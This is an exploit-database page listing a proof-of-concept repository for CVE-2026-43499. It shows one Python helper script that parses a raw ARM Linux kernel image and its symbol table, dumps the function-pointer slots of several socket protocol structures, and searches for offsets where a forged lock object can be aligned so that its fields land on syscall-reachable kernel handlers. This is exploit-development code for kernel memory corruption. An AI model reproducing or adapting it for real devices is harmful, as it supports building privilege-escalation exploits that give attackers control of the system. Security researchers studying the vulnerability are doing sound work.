Exploit database

GH-14fb583d3d1bd2da10251bb1a37b93d6

gitchw/ghostlock-cve-2026-43499

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

168 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files258
gitchw/ghostlock-cve-2026-43499Revision 96acd93156f6
Next files →

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

workspace/ota/scan_proto.py

Python · 2,072 bytes
#!/usr/bin/env python3
# Dump struct proto candidates in writable data and find fake-lock alignments:
# FAKE=base+k: ticket word[k]=0, owner word[k+12]=0, and word[k+4]/[k+8]
# land on a syscall-reachable handler (we list names).
import struct,bisect,re
raw=open('/mnt/d/project/ow/ota/kernel_raw.bin','rb').read()
BASE=0xc0008000
syms=[]
for line in open('/mnt/d/project/ow/ota/kallsyms_finder.log'):
    p=line.split()
    if len(p)>=3 and re.fullmatch(r'[0-9a-f]{8}',p[0]):
        syms.append((int(p[0],16),p[2]))
syms.sort(); addrs=[s[0] for s in syms]
def near(a):
    i=bisect.bisect_right(addrs,a)-1
    s=syms[i]; return '%s+0x%x'%(s[1],a-s[0])
def words(a,n):
    o=a-BASE
    return list(struct.unpack('<%dI'%(n//4),raw[o:o+n]))
def iscode(x): return 0xc0008000<=x<0xc105f000
# struct proto slot names (5.4)
slots=['close','connect','disconnect','accept','ioctl','init','destroy','shutdown',
       'setsockopt','getsockopt','sendpage','sendmsg','recvmsg','sendpage_lasterr?',
       'bind','backlog_rcv','release_cb','hash','unhash','get_port','enter_memory_pressure',
       'stream_memory_memory','sockets_allocated','memory_allocated','memory_pressure',
       'sysctl_mem','sysctl_wmem','sysctl_rmem','sysctl_rmem_alloc?']
m={n:a for a,n in syms}
for nm in ['ping_prot','raw_prot','udp_prot','tcp_prot','udplite_prot','rawv6_prot','udpv6_prot','pingv6_prot']:
    if nm not in m: continue
    a=m[nm]; ww=words(a,0x80)
    print('====',nm,hex(a))
    for k in range(0,0x44,4):
        v=ww[k//4]
        print(' +0x%02x %-14s %08x %s'%(k,slots[k//4] if k//4<len(slots) else '?',v,
              near(v) if iscode(v) else ('obj' if 0xc1b00000<=v<0xc1d00000 else '')))
    print(' -- feasible fake alignments (ticket=0,owner=0):')
    for k in range(0,0x40,4):
        if ww[k//4]==0 and ww[(k+12)//4]==0:
            t4=ww[(k+4)//4]; t8=ww[(k+8)//4]
            n4=slots[(k+4)//4] if (k+4)//4<len(slots) else '?'
            n8=slots[(k+8)//4] if (k+8)//4<len(slots) else '?'
            print('   FAKE=+0x%02x -> +4(%s)=%08x  +8(%s)=%08x'%(k,n4,t4,n8,t8))